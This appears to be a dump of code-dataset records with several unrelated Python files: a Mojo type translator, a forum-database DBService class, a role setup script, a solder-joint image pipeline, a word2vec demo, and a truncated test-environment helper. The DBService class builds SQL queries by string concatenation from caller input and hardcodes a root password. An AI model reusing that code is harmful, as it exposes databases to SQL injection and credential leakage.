Args:\n type_key: {str} the type key referring to the type to be returned.\n\n Returns:\n {module.Enum|Struct|Union|Interface} translated.\n \"\"\"\n if type_key in self._type_cache:\n return self._type_cache[type_key]\n else:\n mojom_type = self._graph.resolved_types[type_key]\n return self.UserDefinedFromMojom(type_key, mojom_type)\n\n def UserDefinedFromMojom(self, type_key, mojom_type):\n \"\"\"Translates a user defined type to its module equivalent.\n\n Args:\n type_key: {str} the type key referring to the type in graph.resolved_types\n used to cache the type object.\n mojom_type: {mojom_types_mojom.UserDefinedType} to be translated.\n\n Returns:\n {module.Enum|Struct|Union|Interface} translated from mojom_type.\n \"\"\"\n user_defined_types = {\n mojom_types_mojom.UserDefinedType.Tags.struct_type:\n (module.Struct, self.StructFromMojom),\n mojom_types_mojom.UserDefinedType.Tags.enum_type:\n (module.Enum, self.EnumFromMojom),\n mojom_types_mojom.UserDefinedType.Tags.union_type:\n (module.Union, self.UnionFromMojom),\n mojom_types_mojom.UserDefinedType.Tags.interface_type:\n (module.Interface, self.InterfaceFromMojom),\n }\n module_type_class, from_mojom = user_defined_types[mojom_type.tag]\n module_type = module_type_class()\n # It is necessary to cache the type object before populating it since in\n # the course of populating it, it may be necessary to resolve that same\n # type (say, a struct with a field of its own type).\n self._type_cache[type_key] = module_type\n from_mojom(module_type, mojom_type)\n\n # module.py expects the spec of user defined types to be set when\n # constructing map and array types, but the value appears unimportant.\n module_type.spec = 'dummyspec'\n\n return module_type\n\n\ndef TranslateFileGraph(graph):\n \"\"\"Translates a mojom_types_mojom.MojomFileGraph to module.Module(s).\n\n The input is the output of the parser. The output is the input to the\n various bindings generators.\n\n Args:\n graph: {mojom_types_mojom.MojomFileGraph} to be translated.\n\n Return:\n {dict} mapping the file's name to its module.Module\n translation for all files in graph.files.\n \"\"\"\n return {file_name: FileTranslator(graph, file_name).Translate()\n for file_name in graph.files}\n","sub_path":"mojo/public/tools/bindings/pylib/mojom/generate/mojom_translator.py","file_name":"mojom_translator.py","file_ext":"py","file_size_in_byte":24435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"332658494","text":"# 为了实现中文插入,运行这个脚本之前把Python36\\Lib\\site-packages\\pymysql\\connection.py的第105行的DEFAULT_CHARSET = 'latin1'改成'utf8'\n\nimport pymysql\n\nclass DBService:\n # 这些是数据库连接的信息,后期改成配置文件导入的方式读取\n __dbsource = \"localhost\"\n __user = \"root\"\n __password = \"1998\"\n __dbname = \"bmbbs\"\n __db = pymysql.connect(__dbsource, __user, __password, __dbname)\n __cursor = __db.cursor()\n #单例\n __dbService = None\n def __init__(self):\n pass\n def __new__(cls, *args, **kw):\n if not cls.__dbService:\n cls.__instance = super(DBService, cls).__new__(cls, *args, **kw)\n return cls.__instance\n # 支持输入数字和字符串\n\n def inserNewAccount(self, name, password):\n ifInUse = 1\n self.__cursor.execute(\"SELECT COUNT(*) FROM ACCOUNT WHERE NAME LIKE '%s'\" % name)\n count = self.__cursor.fetchone()\n if count == 0:\n ifInUse = 0\n if ifInUse:\n new_account_tuple = [\"ACCOUNT\", name, password]\n return self.__insertTuple(new_account_tuple)\n\n def insertNewTopic(self, partname, ownername, content):\n id = time.strftime(\"%Y%m%d-%H%M\", time.localtime())\n new_topic_tuple = [\"TOPIC\", partname, ownername, id, content]\n return self.__insertTuple(new_topic_tuple)\n\n def insertNewPart(self, partname):\n newPartTuple = [\"PART\", partname]\n return self.__insertTuple(newPartTuple)\n\n def insertNewComment(self, topicid, ownername, content):\n self.__cursor.execute(\"SELECT COUNT(*) FROM COMMENT WHERE TOPICID LIKE '%s'\" % (topicid))\n result = self.__cursor.fetchone()\n layer = result[0][0] + 1\n newCommentTuple = [\"COMMENT\", topicid, ownername, layer, content]\n return self.__insertTuple(newCommentTuple)\n\n def insertNewNotice(self, partname, content):\n newNoticeTuple = [\"NOTICE\", partname, content]\n return self.__insertTuple(newNoticeTuple)\n\n #插入元组\n def __insertTuple(self, tupleList):\n sql = \"INSERT INTO \" + str(tupleList[0]) + \" VALUE(\"\n for element in tupleList[1:]:\n sql += \"'\" + str(element) + \"',\"\n sql = sql[0:-1]\n sql += \")\"\n try:\n self.__cursor.execute(sql)\n self.__db.commit()\n return 1\n except:\n self.__db.rollback()\n return 0\n\n #修改元组\n def updateTuple(self, table, editAttri, selectFactor):\n sql = \"UPDATE %s SET \" % table\n length = len(editAttri)\n index = 0\n while index < length:\n sql += str(editAttri[index]) + \" = '\" + str(editAttri[index + 1]) + \"', \"\n index += 2\n sql = sql[:-2]\n length = len(selectFactor)\n index = 0\n sql += \" WHERE \"\n while index < length:\n sql += str(selectFactor[index]) + \" = '\" + str(selectFactor[index + 1]) + \"' AND \"\n index += 2\n sql = sql[:-4]\n\n try:\n self.__cursor.execute(sql)\n self.__db.commit()\n return 1\n except:\n self.__db.rollback()\n return 0\n\n #删除元组\n def deleteTuple(self, table, selectFactor):\n sql = \"DELETE FROM %s WHERE \" % table\n\n length =len(selectFactor)\n index = 0\n\n while index < length:\n sql += str(selectFactor[index]) + \" = '\" + str(selectFactor[index + 1]) + \"' AND \"\n index += 2\n sql = sql[:-4]\n\n try:\n self.__cursor.execute(sql)\n self.__db.commit()\n return 1\n except:\n self.__db.rollback()\n return 0\n\n def selectTuple(self, table, selectAttri, selectFactor):\n sql = \"SELECT \"\n for element in selectAttri:\n sql += str(element) + \", \"\n sql = sql[:-2] + \" WHERE \"\n\n index = 0\n while index < len(selectFactor):\n sql += str(selectFactor[index]) + \" = '\" + str(selectFactor[index + 1]) + \"' AND \"\n index += 2\n sql = sql[:-4]\n self.__cursor.execute(sql)\n return self.__cursor.fetchall()\n\n\n\n\n\n\n\n'''\n这个版本是最初版本0.1,经过一些测试没有大bug\n\n以下是调用这些函数的实例:\ninstance = DBService()\ninstance.insertNewAccount('name','password') 所有的插入函数都是一样的调用方法\ninstance.updateTuple('ACCOUNT', ['要更改的属性', ‘更新值',.......], ['选择的属性', '选择值',......]) 选择也是一样的操作, 删除的元组不需要第一个列表\n'''\n","sub_path":"DBService/DBService.py","file_name":"DBService.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"536372000","text":"#!/usr/bin/env python\nimport logging\nimport argparse\nimport json\n\nfrom update import db, models\n\ndef create_roles(roles):\n for name in roles:\n role = models.Role(name=name)\n logging.info(\"Adding Role {}\".format(role))\n db.session.add(role)\n\n db.session.commit()\n\ndef create_role_groups(groups):\n for name, role_names in groups.items():\n roles = models.Role.query.filter(models.Role.name.in_(role_names)).all()\n\n group = models.DefaultRoleGroup(name=name)\n db.session.add(group)\n logging.info(\"Adding Role Group {}\".format(group))\n\n group.roles += roles\n logging.info(\" - Adding roles\")\n\n db.session.commit()\n\ndef create_users(users):\n for username, group in users.items():\n group = models.DefaultRoleGroup.query.filter(models.DefaultRoleGroup.name == group).first()\n\n user = models.User(username=username)\n db.session.add(user)\n logging.info(\"Adding User {}\".format(user))\n\n user.roles = group.roles[:] \n \n db.session.commit()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--data\", default=\"instance/setup.json\")\n\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n\n args = parser.parse_args()\n\n with open(args.data) as fh:\n data = json.load(fh)\n\n db.create_all()\n\n create_roles(data.get(\"roles\"))\n create_role_groups(data.get(\"groups\"))\n create_users(data.get(\"users\"))\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"647993199","text":"import logging\nimport pickle\nimport os\nimport csv\nimport re\nimport cv2\n\nfrom constants import DEFECT_NAMES_DICT\nfrom utils_basic import chk_n_mkdir\n\nfrom board_view import BoardView\n\n\nclass SolderJointContainer:\n def __init__(self):\n self.board_view_dict = {}\n self.new_image_name_mapping_dict = {}\n self.csv_details_dict = {}\n self.incorrect_board_view_ids = []\n\n with open('original_dataset/PTH2_reviewed.csv', mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n\n for row in csv_reader:\n component_name = row[\"component\"]\n defect_id = int(row[\"defect_type_id\"])\n defect_name = DEFECT_NAMES_DICT[defect_id]\n roi = [int(float(str)) for str in row[\"roi_original\"].split()]\n file_location = 'original_dataset\\\\' + row[\"image_filename\"].strip('C:\\Projects\\pia-test\\\\')\n view_identifier = file_location[:-5]\n\n if view_identifier in self.board_view_dict.keys():\n logging.debug('fount view_identifier inside the board_view_dict')\n board_view_obj = self.board_view_dict[view_identifier]\n board_view_obj.add_slice(file_location)\n else:\n logging.debug('adding new BoardView obj to the board_view_dict')\n board_view_obj = BoardView(view_identifier)\n self.board_view_dict[view_identifier] = board_view_obj\n\n board_view_obj.add_solder_joint(component_name, defect_id, defect_name, roi)\n\n # csv_details_dict is only made for file tracking purpose\n if file_location in self.csv_details_dict.keys():\n self.csv_details_dict[file_location].append([component_name, defect_id, defect_name, roi])\n else:\n self.csv_details_dict[file_location] = []\n self.csv_details_dict[file_location].append([component_name, defect_id, defect_name, roi])\n\n logging.debug('csv row details, component_name:%s, defect_name:%s, roi:%d,%d,%d,%d', component_name,\n defect_name, roi[0], roi[1], roi[2], roi[3])\n\n for idx, file_loc in enumerate(self.csv_details_dict.keys()):\n raw_image_name = file_loc[-12:]\n image_name_with_idx = str(idx) + \"_\" + raw_image_name\n self.new_image_name_mapping_dict[image_name_with_idx] = file_loc\n\n logging.info('SolderJointContainer obj created')\n\n # this method create images in a seperate directory marked with rois\n def mark_all_images_with_rois(self):\n logging.info(\"Num of images to be marked:%d\", len(self.csv_details_dict.keys()))\n for idx, file_loc in enumerate(self.csv_details_dict.keys()):\n raw_image_name = file_loc[-12:]\n destination_path = './images_roi_marked/'\n chk_n_mkdir(destination_path)\n destination_image_path = destination_path + str(idx) + \"_\" + raw_image_name\n\n src_image = cv2.imread(file_loc)\n if src_image is None:\n logging.error('Could not open or find the image: %s', file_loc)\n exit(0)\n\n for feature_list in self.csv_details_dict[file_loc]:\n component_name = feature_list[0]\n defect_name = feature_list[2]\n roi = feature_list[3]\n if defect_name == \"missing\":\n num = '-mis'\n elif defect_name == \"short\":\n num = '-sht'\n else:\n num = '-inf'\n\n # draw the ROI\n cv2.rectangle(src_image, (roi[0], roi[1]), (roi[2], roi[3]), (255, 0, 0), 2)\n cv2.putText(src_image, component_name + num, (roi[0], roi[1]), cv2.FONT_HERSHEY_SIMPLEX, 1.0,\n (0, 0, 255),\n lineType=cv2.LINE_AA)\n\n # cv2.imshow(\"Labeled Image\", src_image)\n # k = cv2.waitKey(5000)\n # if k == 27: # If escape was pressed exit\n # cv2.destroyAllWindows()\n # break\n cv2.imwrite(destination_image_path, src_image)\n logging.debug('ROI marked image saved: %s', destination_image_path)\n\n # this method generates new SolderJoint objs with non_defective labels from xml data\n def load_non_defective_rois_to_container(self):\n\n annotation_dir = './non_defective_xml_files'\n annotation_files = os.listdir(annotation_dir)\n\n for file in annotation_files:\n fp = open(annotation_dir + '/' + file, 'r')\n annotation_file = fp.read()\n file_name = annotation_file[annotation_file.index('') + 10:annotation_file.index('')]\n x_min_start = [m.start() for m in re.finditer('', annotation_file)]\n x_min_end = [m.start() for m in re.finditer('', annotation_file)]\n y_min_start = [m.start() for m in re.finditer('', annotation_file)]\n y_min_end = [m.start() for m in re.finditer('', annotation_file)]\n x_max_start = [m.start() for m in re.finditer('', annotation_file)]\n x_max_end = [m.start() for m in re.finditer('', annotation_file)]\n y_max_start = [m.start() for m in re.finditer('', annotation_file)]\n y_max_end = [m.start() for m in re.finditer('', annotation_file)]\n\n x_min = [int(annotation_file[x_min_start[j] + 6:x_min_end[j]]) for j in range(len(x_min_start))]\n y_min = [int(annotation_file[y_min_start[j] + 6:y_min_end[j]]) for j in range(len(y_min_start))]\n x_max = [int(annotation_file[x_max_start[j] + 6:x_max_end[j]]) for j in range(len(x_max_start))]\n y_max = [int(annotation_file[y_max_start[j] + 6:y_max_end[j]]) for j in range(len(y_max_start))]\n act_file_name = self.new_image_name_mapping_dict[file_name]\n view_identifier = act_file_name[:-5]\n board_view_obj = self.board_view_dict[view_identifier]\n\n for i in range(len(x_min)):\n\n x_min_i = x_min[i]\n y_min_i = y_min[i]\n x_max_i = x_max[i]\n y_max_i = y_max[i]\n width = x_max[i] - x_min[i]\n height = y_max[i] - y_min[i]\n\n logging.debug('Start height/width:' + str(height) + '/' + str(width))\n if width > height:\n threshold = (width - height) / width * 100.0\n if threshold > 10.0:\n logging.debug('height < width:' + str(height) + '/' + str(width))\n continue\n else:\n y_min_i = y_min_i - (width - height) // 2 if (width - height) % 2 == 0 else y_min_i - (\n width - height) // 2 - 1\n y_max_i = y_max_i + (width - height) // 2\n height = y_max_i - y_min_i\n logging.debug('new height/width:' + str(height) + '/' + str(width))\n\n if width < height:\n threshold = (height - width) / height * 100.0\n if threshold > 10.0:\n logging.debug('height > width:' + str(height) + '/' + str(width))\n continue\n else:\n x_min_i = x_min_i - (height - width) // 2 if (height - width) % 2 == 0 else x_min_i - (\n height - width) // 2 - 1\n x_max_i = x_max_i + (height - width) // 2\n width = x_max_i - x_min_i\n logging.debug('new height/width:' + str(height) + '/' + str(width))\n\n board_view_obj.add_solder_joint('unknown', -1, 'normal', [x_min_i, y_min_i, x_max_i, y_max_i])\n board_view_obj.add_slices_to_solder_joints()\n\n @staticmethod\n def create_incorrect_roi_pickle_file(self):\n images_list = os.listdir('./incorrect_roi_images')\n with open('incorrect_roi_images.p', 'wb') as filehandle:\n pickle.dump(images_list, filehandle)\n\n def find_flag_incorrect_roi_board_view_objs(self):\n with open('incorrect_roi_images.p', 'rb') as filehandle:\n incorrect_roi_list = pickle.load(filehandle)\n temp_list = []\n for image_name in incorrect_roi_list:\n temp_list.append(self.new_image_name_mapping_dict[image_name][:-5])\n\n list_set = set(temp_list)\n temp_list = list(list_set)\n self.incorrect_board_view_ids.extend(temp_list)\n\n for board_view_obj in self.board_view_dict.values():\n if board_view_obj.view_identifier in self.incorrect_board_view_ids:\n board_view_obj.is_incorrect_view = True\n logging.debug('marked board view %s as incorrect', board_view_obj.view_identifier)\n\n def save_concat_images_first_four_slices(self, width=128, height=128):\n chk_n_mkdir('./roi_concatenated_four_slices/short/')\n chk_n_mkdir('./roi_concatenated_four_slices/insufficient/')\n chk_n_mkdir('./roi_concatenated_four_slices/missing/')\n chk_n_mkdir('./roi_concatenated_four_slices/normal/')\n img_count = 0\n for board_view_obj in self.board_view_dict.values():\n if not board_view_obj.is_incorrect_view:\n logging.debug('Concatenating images in board_view_obj: %s', board_view_obj.view_identifier)\n for solder_joint_obj in board_view_obj.solder_joint_dict.values():\n concat_image, label = solder_joint_obj.concat_first_four_slices_and_resize(width, height)\n if concat_image is not None:\n img_count += 1\n destination_image_path = 'roi_concatenated_four_slices/' + label + '/' + str(img_count) + '.jpg'\n cv2.imwrite(destination_image_path, concat_image)\n logging.debug('saving concatenated image, joint type: %s', label)\n logging.info('saved images of concatenated 4 slices in 2d')\n\n def print_container_details(self):\n board_views = 0\n solder_joints = 0\n missing_defects = 0\n short_defects = 0\n insuf_defects = 0\n normal_defects = 0\n\n joints_with_1_slices = 0\n joints_with_2_slices = 0\n joints_with_3_slices = 0\n joints_with_4_slices = 0\n joints_with_5_slices = 0\n joints_with_6_slices = 0\n\n for board_view_obj in self.board_view_dict.values():\n if not board_view_obj.is_incorrect_view:\n board_views += 1\n for solder_joint_obj in board_view_obj.solder_joint_dict.values():\n solder_joints += 1\n\n if len(solder_joint_obj.slice_dict.keys()) == 1:\n joints_with_1_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 2:\n joints_with_2_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 3:\n joints_with_3_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 4:\n joints_with_4_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 5:\n joints_with_5_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 6:\n joints_with_6_slices += 1\n\n label = solder_joint_obj.defect_name\n if label == 'normal':\n normal_defects += 1\n if label == 'missing':\n missing_defects += 1\n if label == 'insufficient':\n insuf_defects += 1\n if label == 'short':\n short_defects += 1\n\n print('*****correct view details*****')\n print('board_views:', board_views, 'solder_joints:', solder_joints, 'missing_defects:', missing_defects,\n 'short_defects:', short_defects, 'insuf_defects:', insuf_defects, 'normal_defects:', normal_defects)\n print('joints_with_1_slices:', joints_with_1_slices, 'joints_with_2_slices:', joints_with_1_slices,\n 'joints_with_3_slices:', joints_with_3_slices, 'joints_with_4_slices:', joints_with_4_slices,\n 'joints_with_5_slices', joints_with_5_slices, 'joints_with_6_slices', joints_with_6_slices)\n\n board_views = 0\n solder_joints = 0\n missing_defects = 0\n short_defects = 0\n insuf_defects = 0\n normal_defects = 0\n\n joints_with_1_slices = 0\n joints_with_2_slices = 0\n joints_with_3_slices = 0\n joints_with_4_slices = 0\n joints_with_5_slices = 0\n joints_with_6_slices = 0\n\n for board_view_obj in self.board_view_dict.values():\n if board_view_obj.is_incorrect_view:\n board_views += 1\n\n for solder_joint_obj in board_view_obj.solder_joint_dict.values():\n solder_joints += 1\n\n if len(solder_joint_obj.slice_dict.keys()) == 1:\n joints_with_1_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 2:\n joints_with_2_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 3:\n joints_with_3_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 4:\n joints_with_4_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 5:\n joints_with_5_slices += 1\n if len(solder_joint_obj.slice_dict.keys()) == 6:\n joints_with_6_slices += 1\n\n label = solder_joint_obj.defect_name\n if label == 'normal':\n normal_defects += 1\n if label == 'missing':\n missing_defects += 1\n if label == 'insufficient':\n insuf_defects += 1\n if label == 'short':\n short_defects += 1\n\n print('*****incorrect view details*****')\n print('board_views:', board_views, 'solder_joints:', solder_joints, 'missing_defects:', missing_defects,\n 'short_defects:', short_defects, 'insuf_defects:', insuf_defects, 'normal_defects:', normal_defects)\n print('joints_with_1_slices:', joints_with_1_slices, 'joints_with_2_slices:', joints_with_1_slices,\n 'joints_with_3_slices:', joints_with_3_slices, 'joints_with_4_slices:', joints_with_4_slices,\n 'joints_with_5_slices', joints_with_5_slices, 'joints_with_6_slices', joints_with_6_slices)\n\n","sub_path":"solder_joint_container.py","file_name":"solder_joint_container.py","file_ext":"py","file_size_in_byte":14953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"221314875","text":"class WordSequence:\n def __init__(self):\n pass\n\n @staticmethod\n def execute():\n import tensorflow as tf\n import matplotlib.pyplot as plt\n import numpy as np\n from matplotlib import font_manager, rc #영어는 분석이 기본으로 깔려있으나 한글일 경우 별도로 font_manager를 지정해주어야함\n # word2vec : 단어를 벡터화시킴\n rc('font', family=font_manager.FontProperties(fname='C:/Windows/Fonts/malgun.ttf').get_name())\n # 단어벡터를 분석해 볼 임의의 문장들\n sentences = [\"나 고양이 좋다\",\n \"나 강아지 좋다\",\n \"나 동물 좋다\",\n \"강아지 고양이 동물\",\n \"여자친구 고양이 강아지 좋다\",\n \"고양이 생선 우유 좋다\",\n \"강아지 생선 싫다 우유 좋다\",\n \"강아지 고양이 눈 좋다\",\n \"나 여자친구 좋다\",\n \"여자친구 나 싫다\",\n \"여자친구 나 영화 책 음악 좋다\",\n \"나 게임 만화 애니 좋다\",\n \"고양이 강아지 싫다\",\n \"강아지 고양이 좋다\"]\n word_sequence = \" \".join(sentences).split() # 원본\n word_list = \" \".join(sentences).split() # 편집본\n\n word_dict = {W: i for i, W in enumerate(word_list)}\n skip_grams = []\n for i in range(1, len(word_sequence)-1):\n target = word_dict[word_sequence[i]]\n context = [word_dict[word_sequence[i - 1]],\n word_dict[word_sequence[i + 1]]]\n # (context, target)\n # 스킵그램을 만든 후, 저장은 단어의 고유번호(index)로 한다\n for W in context:\n skip_grams.append([target, W])\n # ((target, context[0]),(target, context[1]),(target, context[2])) 이런식으로 인덱스번호별 단어의 값이 매겨짐\n\n def random_batch(data, size):\n random_inputs = []\n random_labels = [] # labels: 답, 테스트데이터\n random_index = np.random.choice(range(len(data)), size, replace=False)\n # replace = False 면 한번 출력하면 다시 뽑히지 않음\n for i in random_index:\n random_inputs.append(data[i][0]) # target\n random_labels.append([data[i][1]])\n\n return random_inputs, random_labels\n\n # 러닝 옵션\n training_epoch = 300\n learning_rate = 0.1\n batch_size = 20 # 한번에 학습할 데이터 크기\n embeding_size = 2 # 단어 벡터를 구성할 임베딩의 크기\n num_sampled = 15 # 모델 학습에 사용할 샘플의 크기 batch_size보다는 작아야 함\n voc_size = len(word_list) # 총단어의 갯수\n\n # 모델링\n inputs = tf.placeholder(tf.int32, shape=[batch_size])\n labels = tf.placeholder(tf.int32, shape=[batch_size, 1])\n # tf.nn.nce_loss 를 사용하려면 출력값을 이렇게 [batch_size, 1] 로 구성해야 함\n print(\"embeding_size {}\".format(embeding_size))\n print(\"voc_size {}\".format(voc_size))\n embedings = tf.Variable(tf.random_uniform([voc_size, embeding_size], -1.0, 1.0)) #variable로 설정하였으므로 내부적으로 가중치 처리되는 것임을 인식\n # word2vec 모델의 결과값인 임베딩 벡터를 저장할 변수\n # 총 단어의 갯수와 임베딩 갯수를 크기로 하는 두개의 차원(feature의 갯수 = 차원의 갯수)을 갖습니다\n # embedding vector의 차원에서 학습할 입력값에 대한 행들을 뽑아옵니다\n \"\"\"\n embeddings input selected\n [[1,2,3], -> [2, 3] -> [[2,3,4],[3,4,5]] # input [2,3]으로 입력하면 두번째와 세번째를 뽑아옴 \n [2,3,4],\n [3,4,5],\n [4,5,6]\n ]\n \"\"\"\n selected_embed = tf.nn.embedding_lookup(embedings, inputs) #강아지, 고양이를 뽑아내달라고 입력하면 뽑혀지는 구조\n nce_weight = tf.Variable(tf.random_uniform([voc_size, embeding_size], -1.0, 1.0))\n nce_biases = tf.Variable(tf.zeros([voc_size])) #절편을 zeros(0,0)으로 설정 -> 절편을 없애겠다는 의미\n loss = tf.reduce_mean(\n tf.nn.nce_loss(nce_weight, nce_biases, labels, selected_embed, num_sampled, voc_size)\n )\n train_op = tf.train.AdamOptimizer(learning_rate).minimize(loss)\n\n #learning\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for step in range(1, training_epoch + 1):\n batch_inputs, batch_labels = random_batch(skip_grams, batch_size)\n _, loss_val = sess.run([train_op, loss],\n {inputs: batch_inputs, labels: batch_labels})\n\n if step % 10 == 0:\n print(\"loss at step \", step, \" : \", loss_val)\n trained_embeddings = embedings.eval()\n # with 구문안에서 sess.run대신에 간단히 eval()함수를 사용해서 저장할 수 있음\n\n # 테스트\n for i, label in enumerate(word_list):\n x, y = trained_embeddings[i]\n plt.scatter(x, y)\n plt.annotate(label, xy=(x, y), xytext=(5,2),\n textcoords='offset points', ha='right', va='bottom')\n plt.show()\n\n","sub_path":"tensorflow_test/word_sequence.py","file_name":"word_sequence.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"490412267","text":"import logging\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom boardfarm.exceptions import BftEnvExcKeyError, BftEnvMismatch\n\nlogger = logging.getLogger(\"bft\")\n\n\nclass EnvHelper:\n \"\"\"\n Example env json.\n\n {\n \"environment_def\": {\n \"board\": {\n \"software\": {\n \"bootloader_image\": \"none\",\n \"downgrade_images\": [\n \"image.bin\"\n ],\n \"load_image\": \"image.bin\",\n \"upgrade_images\": [\n \"image.bin\"]\n },\n }\n },\n \"version\": \"1.0\"\n }\n \"\"\"\n\n def __init__(self, env, mirror=None):\n \"\"\"Instance initialization.\"\"\"\n if env is None:\n return\n\n assert env[\"version\"] in [\n \"1.0\",\n \"1.1\",\n \"1.2\",\n \"2.0\",\n \"2.1\",\n \"2.2\",\n \"2.3\",\n \"2.4\",\n \"2.5\",\n \"2.6\",\n \"2.7\",\n \"2.8\",\n \"2.9\",\n \"2.10\",\n \"2.11\",\n \"2.12\",\n \"2.13\",\n \"2.14\",\n \"2.15\",\n \"2.16\",\n \"2.17\",\n \"2.18\",\n \"2.19\",\n \"2.20\",\n \"2.21\",\n \"2.22\",\n \"2.23\",\n \"2.24\",\n \"2.25\",\n \"2.26\",\n \"2.27\",\n \"2.28\",\n \"2.29\",\n \"2.30\",\n \"2.31\",\n \"2.32\",\n \"2.33\",\n ], \"Unknown environment version!\"\n self.env = env\n self.mirror = \"\"\n if mirror:\n self.mirror = mirror\n\n def get_image(self, mirror=True):\n \"\"\"Get image.\n\n returns the desired image for this to run against concatenated with the\n site mirror for automated flashing without passing args to bft\n \"\"\"\n try:\n if mirror:\n return (\n self.mirror\n + self.env[\"environment_def\"][\"board\"][\"software\"][\"load_image\"]\n )\n else:\n return self.env[\"environment_def\"][\"board\"][\"software\"][\"load_image\"]\n except (KeyError, AttributeError):\n return self.get_image_uri(mirror=mirror)\n\n def get_image_uri(self, mirror=True):\n \"\"\"Get image URI.\n\n returns the desired image for this to run against concatenated with the\n site mirror for automated flashing without passing args to bft\n \"\"\"\n try:\n if mirror:\n return (\n self.mirror\n + self.env[\"environment_def\"][\"board\"][\"software\"][\"image_uri\"]\n )\n else:\n return self.env[\"environment_def\"][\"board\"][\"software\"][\"image_uri\"]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_prov_mode(self):\n \"\"\"\n returns the provisioning mode of the desired environment.\n possible values are: ipv4, ipv6, dslite, dualstack, disabled\n \"\"\"\n pass\n\n def has_prov_mode(self):\n \"\"\"\n returns true or false depending if the environment has specified a\n provisioning mode\n \"\"\"\n try:\n self.get_prov_mode()\n return True\n except (KeyError, AttributeError):\n return False\n\n def has_tr069(self) -> bool:\n \"\"\"\n returns true or false depending if the environment has the tr-069 entry.\n \"\"\"\n try:\n self.env[\"environment_def\"][\"tr-069\"]\n return True\n except (KeyError, AttributeError):\n return False\n\n def has_image(self):\n \"\"\"Return true or false if the env has specified an image to load.\"\"\"\n try:\n self.get_image()\n return True\n except Exception:\n return False\n\n def get_downgrade_image(self):\n \"\"\"Return the desired downgrade image to test against.\"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"software\"][\"downgrade_images\"][\n 0\n ]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def get_upgrade_image(self):\n \"\"\"Return the desired upgrade image to test against.\"\"\"\n try:\n return self.env[\"environment_def\"][\"board\"][\"software\"][\"upgrade_images\"][0]\n except (KeyError, AttributeError):\n raise BftEnvExcKeyError\n\n def has_upgrade_image(self):\n \"\"\"Return true or false.\n\n if the env has specified an upgrade image to load\n \"\"\"\n try:\n self.get_upgrade_image()\n return True\n except Exception:\n return False\n\n def has_downgrade_image(self):\n \"\"\"Return true or false.\n\n if the env has specified an downgrade image to load\n \"\"\"\n try:\n self.get_downgrade_image()\n return True\n except Exception:\n return False\n\n def get_software(self):\n \"\"\"Get software.\"\"\"\n sw = self.env[\"environment_def\"][\"board\"].get(\"software\", {})\n out = {}\n for k, v in sw.items():\n if k == \"dependent_software\":\n continue\n if k in [\"load_image\", \"image_uri\"]:\n out[k] = f\"{self.mirror}{v}\"\n else:\n out[k] = v\n return out\n\n def get_dependent_software(self):\n \"\"\"Get dependent software.\"\"\"\n d = self.env[\"environment_def\"][\"board\"].get(\"software\", {})\n sw = d.get(\"dependent_software\", {})\n out = {}\n for k, v in sw.items():\n if k in [\"load_image\", \"image_uri\"]:\n out[k] = f\"{self.mirror}{v}\"\n else:\n out[k] = v\n return out\n\n def get_flash_strategy(self):\n \"\"\"Get software flash strategy.\"\"\"\n sw = self.env[\"environment_def\"][\"board\"].get(\"software\", {})\n out = {}\n for k, v in sw.items():\n if k == \"dependent_software\":\n continue\n if k == \"flash_strategy\":\n out[k] = f\"{v}\"\n return out\n\n def get_board_hardware_type(self):\n \"\"\"Returns board hardware type according to\n [\"environment_def\"][\"board\"][\"model\"]\n :return: mv1/mv2/mv2+/mv3 etc. or unknown if not found in mapping\n \"\"\"\n board_model = self.get_board_model()\n return {\n \"F3896LG\": \"mv2+\",\n \"CH7465LG\": \"mv1\",\n \"TG2492LG\": \"mv1\",\n \"F5685LGE\": \"mv3\",\n \"F5685LGB\": \"mv3\",\n }.get(board_model, \"unknown\")\n\n def env_check(self, test_environment):\n \"\"\"Test environment check.\n\n Given an environment (in for of a dictionary) as a parameter, checks\n if it is a subset of the environment specs contained by the EnvHelper.\n\n :param test_environment: the environment to be checked against the EnvHelper environment\n :type test_environment: dict\n\n .. note:: raises BftEnvMismatch if the test_environment is not contained in the env helper environment\n .. note:: recursively checks dictionaries\n .. note:: A value of None in the test_environment is used as a wildcard, i.e. matches any values int the EnvHelper\n \"\"\"\n\n def contained(env_test, env_helper, path=\"root\"):\n if type(env_test) is dict:\n for k in env_test:\n if k not in env_helper or not contained(\n env_test[k], env_helper[k], path + \"->\" + k\n ):\n return False\n elif type(env_test) is list:\n # Handle case where env_test is a list and the env_helper is a value:\n # e.g. the env helper is configured in mode A\n # the test can run in A, B or C configuration modes\n if not type(env_helper) is list:\n return env_helper in env_test\n # Handle case where list is [None] and we just need *some value* in the env_helper\n if env_test[0] is None and len(env_helper) > 0:\n return True\n\n if type(env_helper) is list:\n # Validate list of dictionary or list of string\n env_helper_list = env_helper.copy()\n count = 0\n for test in env_test:\n if not type(test) is dict:\n if test not in env_helper_list:\n return False\n count += 1\n else:\n for env in env_helper_list:\n if test.items() <= env.items():\n env_helper_list.remove(env)\n count += 1\n break\n if len(env_test) != count:\n 